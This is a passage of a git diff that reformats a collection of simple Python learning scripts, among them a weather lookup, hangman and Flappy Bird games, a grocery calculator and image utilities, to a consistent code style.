"main" - # key in variable y - y = x["main"] - - # store the value corresponding - # to the "temp" key of y - current_temperature = y["temp"] - - # store the value corresponding - # to the "pressure" key of y - current_pressure = y["pressure"] - - # store the value corresponding - # to the "humidity" key of y - current_humidiy = y["humidity"] - - # store the value of "weather" - # key in variable z - z = x["weather"] - - # store the value corresponding - # to the "description" key at - # the 0th index of z - weather_description = z[0]["description"] - - # print following values - print(" Temperature (in kelvin unit) = " + - str(current_temperature) + - "\n atmospheric pressure (in hPa unit) = " + - str(current_pressure) + - "\n humidity (in percentage) = " + - str(current_humidiy) + - "\n description = " + - str(weather_description)) - -else: - print(" City Not Found ") +# Give city name +city_name = input("Enter city name : ") + +# complete_url variable to store +# complete url address +complete_url = base_url + "appid=" + api_key + "&q=" + city_name + +# get method of requests module +# return response object +response = requests.get(complete_url) + +# json method of response object +# convert json format data into +# python format data +x = response.json() + +# Now x contains list of nested dictionaries +# Check the value of "cod" key is equal to +# "404", means city is found otherwise, +# city is not found +if x["cod"] != "404": + # store the value of "main" + # key in variable y + y = x["main"] + + # store the value corresponding + # to the "temp" key of y + current_temperature = y["temp"] + + # store the value corresponding + # to the "pressure" key of y + current_pressure = y["pressure"] + + # store the value corresponding + # to the "humidity" key of y + current_humidiy = y["humidity"] + + # store the value of "weather" + # key in variable z + z = x["weather"] + + # store the value corresponding + # to the "description" key at + # the 0th index of z + weather_description = z[0]["description"] + + # print following values + print( + " Temperature (in kelvin unit) = " + + str(current_temperature) + + "\n atmospheric pressure (in hPa unit) = " + + str(current_pressure) + + "\n humidity (in percentage) = " + + str(current_humidiy) + + "\n description = " + + str(weather_description) + ) + +else: + print(" City Not Found ") diff --git a/FindingResolutionOfAnImage.py b/FindingResolutionOfAnImage.py index 9c6336d8d1d..6bc312b245d 100644 --- a/FindingResolutionOfAnImage.py +++ b/FindingResolutionOfAnImage.py @@ -1,24 +1,24 @@ def jpeg_res(filename): - """"This function prints the resolution of the jpeg image file passed into it""" + """ "This function prints the resolution of the jpeg image file passed into it""" - # open image for reading in binary mode - with open(filename,'rb') as img_file: + # open image for reading in binary mode + with open(filename, "rb") as img_file: + # height of image (in 2 bytes) is at 164th position + img_file.seek(163) - # height of image (in 2 bytes) is at 164th position - img_file.seek(163) + # read the 2 bytes + a = img_file.read(2) - # read the 2 bytes - a = img_file.read(2) + # calculate height + height = (a[0] << 8) + a[1] - # calculate height - height = (a[0] << 8) + a[1] + # next 2 bytes is width + a = img_file.read(2) - # next 2 bytes is width - a = img_file.read(2) + # calculate width + width = (a[0] << 8) + a[1] - # calculate width - width = (a[0] << 8) + a[1] + print("The resolution of the image is", width, "x", height) - print("The resolution of the image is",width,"x",height) jpeg_res("img1.jpg") diff --git a/FizzBuzz.py b/FizzBuzz.py index 59c78fad2a9..cf8caba4c4e 100644 --- a/FizzBuzz.py +++ b/FizzBuzz.py @@ -18,5 +18,4 @@ def FizzBuzz(num): print(i) - FizzBuzz(20) # prints FizzBuzz up to 20 diff --git a/Flappy Bird - created with tkinter/Background.py b/Flappy Bird - created with tkinter/Background.py index 78dc415a9f4..582f2287491 100644 --- a/Flappy Bird - created with tkinter/Background.py +++ b/Flappy Bird - created with tkinter/Background.py @@ -13,7 +13,6 @@ class Background(Canvas): __stop = False def __init__(self, tk_instance, *geometry, fp="background.png", animation_speed=50): - # Verifica se o parâmetro tk_instance é uma instância de Tk if not isinstance(tk_instance, Tk): raise TypeError("The tk_instance argument must be an instance of Tk.") @@ -151,7 +150,6 @@ def run(self): # Enquanto o atributo "stop" for False, a animação continuará em um loop infinito if not self.__stop: - # Move as imagens de background na posição X self.move(self.__background[0], -10, 0) self.move(self.__background[1], -10, 0) diff --git a/Flappy Bird - created with tkinter/Bird.py b/Flappy Bird - created with tkinter/Bird.py index 56fdcd1d31c..69f532db65e 100644 --- a/Flappy Bird - created with tkinter/Bird.py +++ b/Flappy Bird - created with tkinter/Bird.py @@ -27,9 +27,8 @@ def __init__( *screen_geometry, fp="bird.png", event="", - descend_speed=5 + descend_speed=5, ): - # Verifica se "background" é uma instância de Background e se o "gamerover_method" é chamável if not isinstance(background, Background): @@ -203,7 +202,6 @@ def jumps(self, event=None): # Move o pássaro enquanto o limite de subida por animação não tiver excedido if self.__times_skipped < self.climbsUp: - # Move o pássaro para cima self.__canvas.move(self.__tag, 0, -1) self.__times_skipped += 1 @@ -212,7 +210,6 @@ def jumps(self, event=None): self.__canvas.after(3, self.jumps) else: - # Declara que o pássaro não está mais subindo self.__going_up = False self.__times_skipped = 0 @@ -240,7 +237,6 @@ def run(self): # Executa a animação de descida somente se o pássaro estiver vivo if self.__isAlive: - # Executa a animação de descida somente se o pássaro não estiver subindo if not self.__going_up: # Move o pássaro para baixo diff --git a/Flappy Bird - created with tkinter/Flappy Bird.py b/Flappy Bird - created with tkinter/Flappy Bird.py index 7dfe9564dfb..a082e3ec1cb 100644 --- a/Flappy Bird - created with tkinter/Flappy Bird.py +++ b/Flappy Bird - created with tkinter/Flappy Bird.py @@ -15,6 +15,7 @@ pipe_image = pygame.image.load("pipe.png").convert_alpha() background_image = pygame.image.load("background.png").convert_alpha() + # Bird class class Bird: def __init__(self): @@ -34,6 +35,7 @@ def flap(self): def draw(self, screen): screen.blit(self.image, (self.x, self.y)) + # Pipe class class Pipe: def __init__(self): @@ -47,7 +49,11 @@ def update(self): def draw(self, screen): screen.blit(self.image, (self.x, self.y)) - screen.blit(pygame.transform.flip(self.image, False, True), (self.x, self.y - screen_height)) + screen.blit( + pygame.transform.flip(self.image, False, True), + (self.x, self.y - screen_height), + ) + def main(): clock = pygame.time.Clock() @@ -81,5 +87,6 @@ def main(): pygame.quit() + if __name__ == "__main__": main() diff --git a/Flappy Bird - created with tkinter/Settings.py b/Flappy Bird - created with tkinter/Settings.py index 33eb2c1da6f..7b7b72d9ad3 100644 --- a/Flappy Bird - created with tkinter/Settings.py +++ b/Flappy Bird - created with tkinter/Settings.py @@ -94,7 +94,6 @@ def setOptions(self): # Caso não exista um arquivo para obter as configurações, ele será criado except BaseException: - # Caso não exista o diretório, o mesmo será criado. if not os.path.exists(os.path.split(self.settings_fp)[0]): os.mkdir(os.path.split(self.settings_fp)[0]) diff --git a/Flappy Bird - created with tkinter/Tubes.py b/Flappy Bird - created with tkinter/Tubes.py index 3948a49e502..fa69fd0326f 100644 --- a/Flappy Bird - created with tkinter/Tubes.py +++ b/Flappy Bird - created with tkinter/Tubes.py @@ -23,9 +23,8 @@ def __init__( score_function=None, *screen_geometry, fp=("tube.png", "tube_mourth"), - animation_speed=50 + animation_speed=50, ): - # Verifica os parâmetros passados e lança um erro caso algo esteja incorreto if not isinstance(background, Background): raise TypeError( @@ -257,10 +256,8 @@ def move(self): # Move os tubos gerados no background for tubes in self.__tubes: for tube in tubes: - # Verifica se o pássaro passou do tubo. Caso sim, o método para pontuar será executado if not scored: - # Recebe a posição do cano x2 = self.__background.bbox(tube[0])[2] @@ -269,7 +266,6 @@ def move(self): if (self.__width / 2) - (self.__bird_w / 2) - self.__move < x2: if x2 <= (self.__width / 2) - (self.__bird_w / 2): - # Verifica se o tubo está na lista de tubos passados if tube[0] not in self.__pastTubes: # Chama o método para pontuar e adiciona o tubo pontuado à lista de tubos passados @@ -297,7 +293,6 @@ def run(self): len(self.__tubes) >= 1 and self.__background.bbox(self.__tubes[0][0][0])[2] <= 0 ): - # Apaga todo o corpo do tubo dentro do background for tube in self.__tubes[0]: for body in tube: diff --git a/Generate a random number between 0 to 9.py b/Generate a random number between 0 to 9.py index a035d9f8502..c304fa85b1d 100644 --- a/Generate a random number between 0 to 9.py +++ b/Generate a random number between 0 to 9.py @@ -3,4 +3,4 @@ # importing the random module import random -print(random.randint(0,9)) +print(random.randint(0, 9)) diff --git a/Google_Image_Downloader/image_grapper.py b/Google_Image_Downloader/image_grapper.py index a922894a8d0..d42f4a3ac86 100644 --- a/Google_Image_Downloader/image_grapper.py +++ b/Google_Image_Downloader/image_grapper.py @@ -113,7 +113,7 @@ def download_wallpapers_1080p(): ################### def view_images_directory(): - for (folders, subfolder, files) in walk(curdir): + for folders, subfolder, files in walk(curdir): for folder in subfolder: print(folder) return True diff --git a/Grocery calculator.py b/Grocery calculator.py index eedb5c7ea15..42adbb7cd74 100644 --- a/Grocery calculator.py +++ b/Grocery calculator.py @@ -1,45 +1,45 @@ -'''This will be a Python script that functions as a grocery calculator. It will take in key-value pairs for items +"""This will be a Python script that functions as a grocery calculator. It will take in key-value pairs for items and their prices, and return the subtotal and total, and can print out the list for you for when you're ready to -take it to the store!''' +take it to the store!""" -'''Algorithm: +"""Algorithm: 1. User enters key-value pairs that are added into a dict. -2. Users tells script to return total, subtotal, and key-value pairs in a nicely formatted list.''' +2. Users tells script to return total, subtotal, and key-value pairs in a nicely formatted list.""" -#Object = GroceryList -#Methods = addToList, Total, Subtotal, returnList + +# Object = GroceryList +# Methods = addToList, Total, Subtotal, returnList class GroceryList(dict): + def __init__(self): + self = {} - def __init__(self): - self = {} + def addToList(self, item, price): + self.update({item: price}) - def addToList(self, item, price): - - self.update({item:price}) + def Total(self): + total = 0 + for items in self: + total += (self[items]) * 0.07 + (self[items]) + return total - def Total(self): - total = 0 - for items in self: - total += (self[items])*.07 + (self[items]) - return total + def Subtotal(self): + subtotal = 0 + for items in self: + subtotal += self[items] + return subtotal - def Subtotal(self): - subtotal = 0 - for items in self: - subtotal += self[items] - return subtotal + def returnList(self): + return self - def returnList(self): - return self -'''Test list should return: +"""Test list should return: Total = 10.70 Subtotal = 10 returnList = {"milk":4, "eggs":3, "kombucha":3} -''' +""" List1 = GroceryList() -List1.addToList("milk",4) +List1.addToList("milk", 4) List1.addToList("eggs", 3) List1.addToList("kombucha", 3) @@ -48,16 +48,16 @@ def returnList(self): print(List1.Subtotal()) print(List1.returnList()) -#***************************************************** +# ***************************************************** print() -#***************************************************** +# ***************************************************** List2 = GroceryList() -List2.addToList('cheese', 7.49) -List2.addToList('wine', 25.36) -List2.addToList('steak', 17.64) +List2.addToList("cheese", 7.49) +List2.addToList("wine", 25.36) +List2.addToList("steak", 17.64) print(List2.Total()) print(List2.Subtotal()) diff --git a/HTML_to_PDF/main.py b/HTML_to_PDF/main.py index 1c7cd4e4408..5211ee325b3 100644 --- a/HTML_to_PDF/main.py +++ b/HTML_to_PDF/main.py @@ -4,25 +4,25 @@ # Download wkhtmltopdf from https://wkhtmltopdf.org/downloads.html # Set the path to the wkhtmltopdf executable -wkhtmltopdf_path = r'C:\Program Files\wkhtmltopdf\bin\wkhtmltopdf.exe' +wkhtmltopdf_path = r"C:\Program Files\wkhtmltopdf\bin\wkhtmltopdf.exe" # Configure pdfkit to use wkhtmltopdf config = pdfkit.configuration(wkhtmltopdf=wkhtmltopdf_path) # Path of HTML and PDF files -path=os.getcwd() -htmlFile = f'{path}\\index.html' -pdfFile = f'{path}\\output.pdf' +path = os.getcwd() +htmlFile = f"{path}\\index.html" +pdfFile = f"{path}\\output.pdf" # Adding PDF Options for customized view options = { - 'page-size': 'A4', - 'margin-top': '0.75in', - 'margin-right': '0.75in', - 'margin-bottom': '0.75in', - 'margin-left': '0.75in', - 'encoding': 'UTF-8', - 'no-outline': None + "page-size": "A4", + "margin-top": "0.75in", + "margin-right": "0.75in", + "margin-bottom": "0.75in", + "margin-left": "0.75in", + "encoding": "UTF-8", + "no-outline": None, } # Check if the HTML file exists before proceeding @@ -31,9 +31,7 @@ else: try: # Convert HTML to PDF - pdfkit.from_file(htmlFile, pdfFile, configuration=config,options=options) + pdfkit.from_file(htmlFile, pdfFile, configuration=config, options=options) print(f"Successfully converted HTML to PDF: {pdfFile}") except Exception as e: print(f"An error occurred: {e}") - - diff --git a/Hand-Motion-Detection/hand_motion_recognizer.py b/Hand-Motion-Detection/hand_motion_recognizer.py index 59efb53c8ef..4b4fd588dba 100644 --- a/Hand-Motion-Detection/hand_motion_recognizer.py +++ b/Hand-Motion-Detection/hand_motion_recognizer.py @@ -6,43 +6,49 @@ cap = cv2.VideoCapture(0) -with mp_hands.Hands(min_detection_confidence=0.8, min_tracking_confidence=0.5) as hands: +with mp_hands.Hands(min_detection_confidence=0.8, min_tracking_confidence=0.5) as hands: while cap.isOpened(): ret, frame = cap.read() - + # BGR 2 RGB image = cv2.cvtColor(frame, cv2.COLOR_BGR2RGB) - + # Flip on horizontal image = cv2.flip(image, 1) - + # Set flag image.flags.writeable = False - + # Detections results = hands.process(image) - + # Set flag to true image.flags.writeable = True - + # RGB 2 BGR image = cv2.cvtColor(image, cv2.COLOR_RGB2BGR) - + # Detections print(results) - + # Rendering results if results.multi_hand_landmarks: for num, hand in enumerate(results.multi_hand_landmarks): - mp_drawing.draw_landmarks(image, hand, mp_hands.HAND_CONNECTIONS, - mp_drawing.DrawingSpec(color=(121, 22, 76), thickness=2, circle_radius=4), - mp_drawing.DrawingSpec(color=(250, 44, 250), thickness=2, circle_radius=2), - ) - - - cv2.imshow('Hand Tracking', image) - - if cv2.waitKey(10) & 0xFF == ord('q'): + mp_drawing.draw_landmarks( + image, + hand, + mp_hands.HAND_CONNECTIONS, + mp_drawing.DrawingSpec( + color=(121, 22, 76), thickness=2, circle_radius=4 + ), + mp_drawing.DrawingSpec( + color=(250, 44, 250), thickness=2, circle_radius=2 + ), + ) + + cv2.imshow("Hand Tracking", image) + + if cv2.waitKey(10) & 0xFF == ord("q"): break cap.release() diff --git a/HangMan Game.py b/HangMan Game.py index 56d106f8c88..7811963553a 100644 --- a/HangMan Game.py +++ b/HangMan Game.py @@ -1,70 +1,91 @@ # Program for HangMan Game. -import random, HangMan_Includes as incl +import random +import HangMan_Includes as incl while True: - chances=6 - inp_lst=[] - result_lst=[] - name=random.choice(incl.names).upper() - # print(name) - [result_lst.append('__ ') for i in range(len(name))] - result_str=str().join(result_lst) + chances = 6 + inp_lst = [] + result_lst = [] + name = random.choice(incl.names).upper() + # print(name) + [result_lst.append("__ ") for i in range(len(name))] + result_str = str().join(result_lst) - print(f'\nYou have to Guess a Human Name of {len(name)} Alphabets:\t{result_str}') - print(incl.draw[0]) + print(f"\nYou have to Guess a Human Name of {len(name)} Alphabets:\t{result_str}") + print(incl.draw[0]) - while True: - if result_str.replace(' ','')==name: - print(f'\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Correct Answer: {name} ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~') - print(incl.won+'\a') - break - inp=input('\nGuess an Alphabet or a Sequence of Alphabets: ').upper() - - if inp in inp_lst: - print('......................................................................Already Tried') - continue - else: - inp_lst.append(inp) - - t=0 - indx=[] - if inp in name: - temp=name - while temp!='': - if inp in temp: - indx.append(t+temp.index(inp)) - t=temp.index(inp)+1 - temp=temp[t:] - else: - break - - for j in range(len(indx)): - for i in range(len(inp)): - result_lst[indx[j]]=inp[i]+' ' - indx[j]+=1 - i+=1 - - result_str=str().join(result_lst) - print('\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~Excellent~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~') - print(f'\nYou have to Guess a Human Name of {len(name)} Alphabets:\t{result_str}\n') - print('Tried Inputs:',tuple(sorted(set(inp_lst)))) + while True: + if result_str.replace(" ", "") == name: + print( + f"\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Correct Answer: {name} ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~" + ) + print(incl.won + "\a") + break + inp = input("\nGuess an Alphabet or a Sequence of Alphabets: ").upper() - else: - print('\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~Try Again!!!~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~') - print(f'\nYou have to Guess a Human Name of {len(name)} Alphabets:\t{result_str}\n') - print(incl.draw[chances]) - chances=chances-1 - - if chances!=0: - print('Tried Inputs:',tuple(sorted(set(inp_lst)))) - print(f'\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~You were left with {chances} Chances~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~') - else: - print(f'\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Correct Answer: {name} ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~') - print(incl.lose+'\a') - break - - try: - if int(input('To play the Game Again Press "1" & "0" to Quit: '))!=1: - exit('\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~Thank You~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~') - except: - exit('\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~Thank You~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~') + if inp in inp_lst: + print( + "......................................................................Already Tried" + ) + continue + else: + inp_lst.append(inp) + + t = 0 + indx = [] + if inp in name: + temp = name + while temp != "": + if inp in temp: + indx.append(t + temp.index(inp)) + t = temp.index(inp) + 1 + temp = temp[t:] + else: + break + + for j in range(len(indx)): + for i in range(len(inp)): + result_lst[indx[j]] = inp[i] + " " + indx[j] += 1 + i += 1 + + result_str = str().join(result_lst) + print( + "\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~Excellent~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~" + ) + print( + f"\nYou have to Guess a Human Name of {len(name)} Alphabets:\t{result_str}\n" + ) + print("Tried Inputs:", tuple(sorted(set(inp_lst)))) + + else: + print( + "\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~Try Again!!!~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~" + ) + print( + f"\nYou have to Guess a Human Name of {len(name)} Alphabets:\t{result_str}\n" + ) + print(incl.draw[chances]) + chances = chances - 1 + + if chances != 0: + print("Tried Inputs:", tuple(sorted(set(inp_lst)))) + print( + f"\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~You were left with {chances} Chances~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~" + ) + else: + print( + f"\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Correct Answer: {name} ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~" + ) + print(incl.lose + "\a") + break + + try: + if int(input('To play the Game Again Press "1" & "0" to Quit: ')) != 1: + exit( + "\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~Thank You~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~" + ) + except: + exit( + "\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~Thank You~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~" + ) diff --git a/Hangman.py b/Hangman.py index 27b82db2c4a..c49a64cc714 100644 --- a/Hangman.py +++ b/Hangman.py @@ -33,21 +33,17 @@ # check if the turns are more than zero while turns > 0: - # make a counter that starts with zero failed = 0 # for every character in secret_word for char in word: - # see if the character is in the players guess if char in guesses: - # print then out the character print(char, end=" ") else: - # if not found, print a dash print("_", end=" ") @@ -84,7 +80,6 @@ # if the guess is not found in the secret word if guess not in word: - # turns counter decreases with 1 (now 9) turns -= 1 @@ -96,6 +91,5 @@ # if the turns are equal to zero if turns == 0: - # print "You Loose" print("\nYou Loose") diff --git a/Hotel-Management.py b/Hotel-Management.py index ca6e0216cc3..d3a17178f02 100644 --- a/Hotel-Management.py +++ b/Hotel-Management.py @@ -1,49 +1,26 @@ - def menu(): - options = { - 1 : { - "title" : "Add new customer details", - "method": lambda : add() - }, - - 2 : { - "title" : "Modify already existing customer details", - "method": lambda : modify() - }, - - 3 : { - "title" : "Search customer details", - "method": lambda : search() - }, - - 4 : { - "title" : "View all customer details", - "method": lambda : view() - }, - - 5 : { - "title" : "Delete customer details", - "method": lambda : remove() - }, - - 6 : { - "title" : "Exit the program", - "method": lambda : exit() - } + 1: {"title": "Add new customer details", "method": lambda: add()}, + 2: { + "title": "Modify already existing customer details", + "method": lambda: modify(), + }, + 3: {"title": "Search customer details", "method": lambda: search()}, + 4: {"title": "View all customer details", "method": lambda: view()}, + 5: {"title": "Delete customer details", "method": lambda: remove()}, + 6: {"title": "Exit the program", "method": lambda: exit()}, } - print(f"\n\n{' '*25}Welcome to Hotel Database Management Software\n\n") + print(f"\n\n{' ' * 25}Welcome to Hotel Database Management Software\n\n") for num, option in options.items(): print(f"{num}: {option.get('title')}") print() - options.get( int(input("Enter your choice(1-6): ")) ).get("method")() + options.get(int(input("Enter your choice(1-6): "))).get("method")() def add(): - Name1 = input("\nEnter your first name: \n") Name2 = input("\nEnter your last name: \n") Phone_Num = input("\nEnter your phone number(without +91): \n") @@ -142,7 +119,6 @@ def add(): def modify(): - with open("Management.txt", "r") as File: string = File.read() string = string.replace("'", '"') @@ -167,7 +143,6 @@ def modify(): print() with open("Management.txt", "w", encoding="utf-8") as File: - match choice: case 1: category = "First_Name" @@ -189,7 +164,6 @@ def modify(): def search(): - with open("Management.txt") as File: dictionary = json.loads(File.read().replace("'", '"')) @@ -284,7 +258,6 @@ def remove(): def view(): - with open("Management.txt") as File: dictionary = json.loads(File.read().replace("'", '"')) diff --git a/Image-watermarker/app.py b/Image-watermarker/app.py index 3a388d3b98a..6d0d2bce3c1 100644 --- a/Image-watermarker/app.py +++ b/Image-watermarker/app.py @@ -44,7 +44,7 @@ def load_image(): ) loaded_image = ImageTk.PhotoImage(resize_img) - window.geometry(f"{resize_img.width + 300+30}x{resize_img.height + 50}") + window.geometry(f"{resize_img.width + 300 + 30}x{resize_img.height + 50}") image_canvas.config(width=resize_img.width, height=resize_img.height) image_canvas.grid(row=0, column=1, padx=20, pady=20, columnspan=2) image_canvas.create_image(0, 0, anchor="nw", image=loaded_image) diff --git a/Image-watermarker/watermark.py b/Image-watermarker/watermark.py index e820eeccaad..dd3a11c79fc 100644 --- a/Image-watermarker/watermark.py +++ b/Image-watermarker/watermark.py @@ -10,7 +10,6 @@ def __init__(self): def add_text_watermark( self, image, text, text_color, font_style, font_size, position=(0, 0) ): - font = ImageFont.truetype(font_style, font_size) draw = ImageDraw.Draw(image) draw.text(position, text, fill=text_color, font=font) diff --git a/ImageDownloader/img_downloader.py b/ImageDownloader/img_downloader.py index 4ed7c65d8ff..7ee1bc34c09 100644 --- a/ImageDownloader/img_downloader.py +++ b/ImageDownloader/img_downloader.py @@ -20,7 +20,7 @@ def ImageDownloader(url): # USAGE print("Hey!! Welcome to the Image downloader...") -link=input("Please enter the url from where you want to download the image..") +link = input("Please enter the url from where you want to download the image..") # now you can give the input at run time and get download the images. # https://www.123rf.com/stock-photo/spring_color.html?oriSearch=spring&ch=spring&sti=oazo8ueuz074cdpc48 ImageDownloader(link) diff --git a/Image_resize.py b/Image_resize.py index 9c6336d8d1d..6bc312b245d 100644 --- a/Image_resize.py +++ b/Image_resize.py @@ -1,24 +1,24 @@ def jpeg_res(filename): - """"This function prints the resolution of the jpeg image file passed into it""" + """ "This function prints the resolution of the jpeg image file passed into it""" - # open image for reading in binary mode - with open(filename,'rb') as img_file: + # open image for reading in binary mode + with open(filename, "rb") as img_file: + # height of image (in 2 bytes) is at 164th position + img_file.seek(163) - # height of image (in 2 bytes) is at 164th position - img_file.seek(163) + # read the 2 bytes + a = img_file.read(2) - # read the 2 bytes - a = img_file.read(2) + # calculate height + height = (a[0] << 8) + a[1] - # calculate height - height = (a[0] << 8) + a[1] + # next 2 bytes is width + a = img_file.read(2) - # next 2 bytes is width - a = img_file.read(2) + # calculate width + width = (a[0] << 8) + a[1] - # calculate width - width = (a[0] << 8) + a[1] + print("The resolution of the image is", width, "x", height) - print("The resolution of the image is",width,"x",height) jpeg_res("img1.jpg") diff --git a/Industrial_developed_hangman/src/hangman/main.py b/Industrial_developed_hangman/src/hangman/main.py index b2a7e780ac3..3839d9222f1 100644 --- a/Industrial_developed_hangman/src/hangman/main.py +++ b/Industrial_developed_hangman/src/hangman/main.py @@ -11,7 +11,7 @@ DEBUG = False success_code = 200 request_timeout = 1000 -data_path = Path(__file__).parent.parent.parent / 'Data' +data_path = Path(__file__).parent.parent.parent / "Data" year = 4800566455 @@ -43,7 +43,9 @@ def print_right(text: str, print_function: Callable[[str], None]) -> None: print_function(Style.RESET_ALL + Fore.GREEN + text) -def parse_word_from_local(choice_function: Callable[[List[str]], str] = random.choice) -> str: +def parse_word_from_local( + choice_function: Callable[[List[str]], str] = random.choice, +) -> str: # noqa: DAR201 """ Parse word from local file. @@ -53,13 +55,15 @@ def parse_word_from_local(choice_function: Callable[[List[str]], str] = random.c :raises FileNotFoundError: file to read words not found. """ try: - with open(data_path / 'local_words.txt', encoding='utf8') as words_file: - return choice_function(words_file.read().split('\n')) + with open(data_path / "local_words.txt", encoding="utf8") as words_file: + return choice_function(words_file.read().split("\n")) except FileNotFoundError: - raise FileNotFoundError('File local_words.txt was not found') + raise FileNotFoundError("File local_words.txt was not found") -def parse_word_from_site(url: str = 'https://random-word-api.herokuapp.com/word') -> str: +def parse_word_from_site( + url: str = "https://random-word-api.herokuapp.com/word", +) -> str: # noqa: DAR201 """ Parse word from website. @@ -72,16 +76,18 @@ def parse_word_from_site(url: str = 'https://random-word-api.herokuapp.com/word' try: response: requests.Response = requests.get(url, timeout=request_timeout) except ConnectionError: - raise ConnectionError('There is no connection to the internet') + raise ConnectionError("There is no connection to the internet") if response.status_code == success_code: return json.loads(response.content.decode())[0] - raise RuntimeError('Something go wrong with getting the word from site') + raise RuntimeError("Something go wrong with getting the word from site") class MainProcess(object): """Manages game process.""" - def __init__(self, source: Enum, pr_func: Callable, in_func: Callable, ch_func: Callable) -> None: + def __init__( + self, source: Enum, pr_func: Callable, in_func: Callable, ch_func: Callable + ) -> None: """ Init MainProcess object. @@ -91,8 +97,8 @@ def __init__(self, source: Enum, pr_func: Callable, in_func: Callable, ch_func: :parameter ch_func: Function that will be used to choice word. """ self._source = source - self._answer_word = '' - self._word_string_to_show = '' + self._answer_word = "" + self._word_string_to_show = "" self._guess_attempts_coefficient = 2 self._print_function = pr_func self._input_function = in_func @@ -110,15 +116,17 @@ def get_word(self) -> str: return parse_word_from_site() elif self._source == Source.FROM_FILE: return parse_word_from_local(self._choice_function) - raise AttributeError('Non existing enum') + raise AttributeError("Non existing enum") def user_lose(self) -> None: """Print text for end of game and exits.""" - print_wrong(f"YOU LOST(the word was '{self._answer_word}')", self._print_function) # noqa:WPS305 + print_wrong( + f"YOU LOST(the word was '{self._answer_word}')", self._print_function + ) # noqa:WPS305 def user_win(self) -> None: """Print text for end of game and exits.""" - print_wrong(f'{self._word_string_to_show} YOU WON', self._print_function) # noqa:WPS305 + print_wrong(f"{self._word_string_to_show} YOU WON", self._print_function) # noqa:WPS305 def game_process(self, user_character: str) -> bool: # noqa: DAR201 @@ -133,9 +141,9 @@ def game_process(self, user_character: str) -> bool: for index, character in enumerate(self._answer_word): if character == user_character: word_list_to_show[index] = user_character - self._word_string_to_show = ''.join(word_list_to_show) + self._word_string_to_show = "".join(word_list_to_show) else: - print_wrong('There is no such character in word', self._print_function) + print_wrong("There is no such character in word", self._print_function) if self._answer_word == self._word_string_to_show: self.user_win() return True @@ -144,26 +152,32 @@ def game_process(self, user_character: str) -> bool: def start_game(self) -> None: """Start main process of the game.""" if time.time() > year: - print_right('this program is more then 100years age', self._print_function) - with open(data_path / 'text_images.txt', encoding='utf8') as text_images_file: + print_right("this program is more then 100years age", self._print_function) + with open(data_path / "text_images.txt", encoding="utf8") as text_images_file: print_wrong(text_images_file.read(), self._print_function) - print_wrong('Start guessing...', self._print_function) + print_wrong("Start guessing...", self._print_function) self._answer_word = self.get_word() - self._word_string_to_show = '_' * len(self._answer_word) + self._word_string_to_show = "_" * len(self._answer_word) attempts_amount = int(self._guess_attempts_coefficient * len(self._answer_word)) if DEBUG: print_right(self._answer_word, self._print_function) for attempts in range(attempts_amount): user_remaining_attempts = attempts_amount - attempts - print_right(f'You have {user_remaining_attempts} more attempts', self._print_function) # noqa:WPS305 - print_right(f'{self._word_string_to_show} enter character to guess: ', self._print_function) # noqa:WPS305 + print_right( + f"You have {user_remaining_attempts} more attempts", + self._print_function, + ) # noqa:WPS305 + print_right( + f"{self._word_string_to_show} enter character to guess: ", + self._print_function, + ) # noqa:WPS305 user_character = self._input_function().lower() if self.game_process(user_character): break - if '_' in self._word_string_to_show: + if "_" in self._word_string_to_show: self.user_lose() -if __name__ == '__main__': +if __name__ == "__main__": main_process = MainProcess(Source(1), print, input, random.choice) main_process.start_game() diff --git a/Industrial_developed_hangman/tests/test_hangman/test_main.py b/Industrial_developed_hangman/tests/test_hangman/test_main.py index 46d0b1d6f0e..34f03c02885 100644 --- a/Industrial_developed_hangman/tests/test_hangman/test_main.py +++ 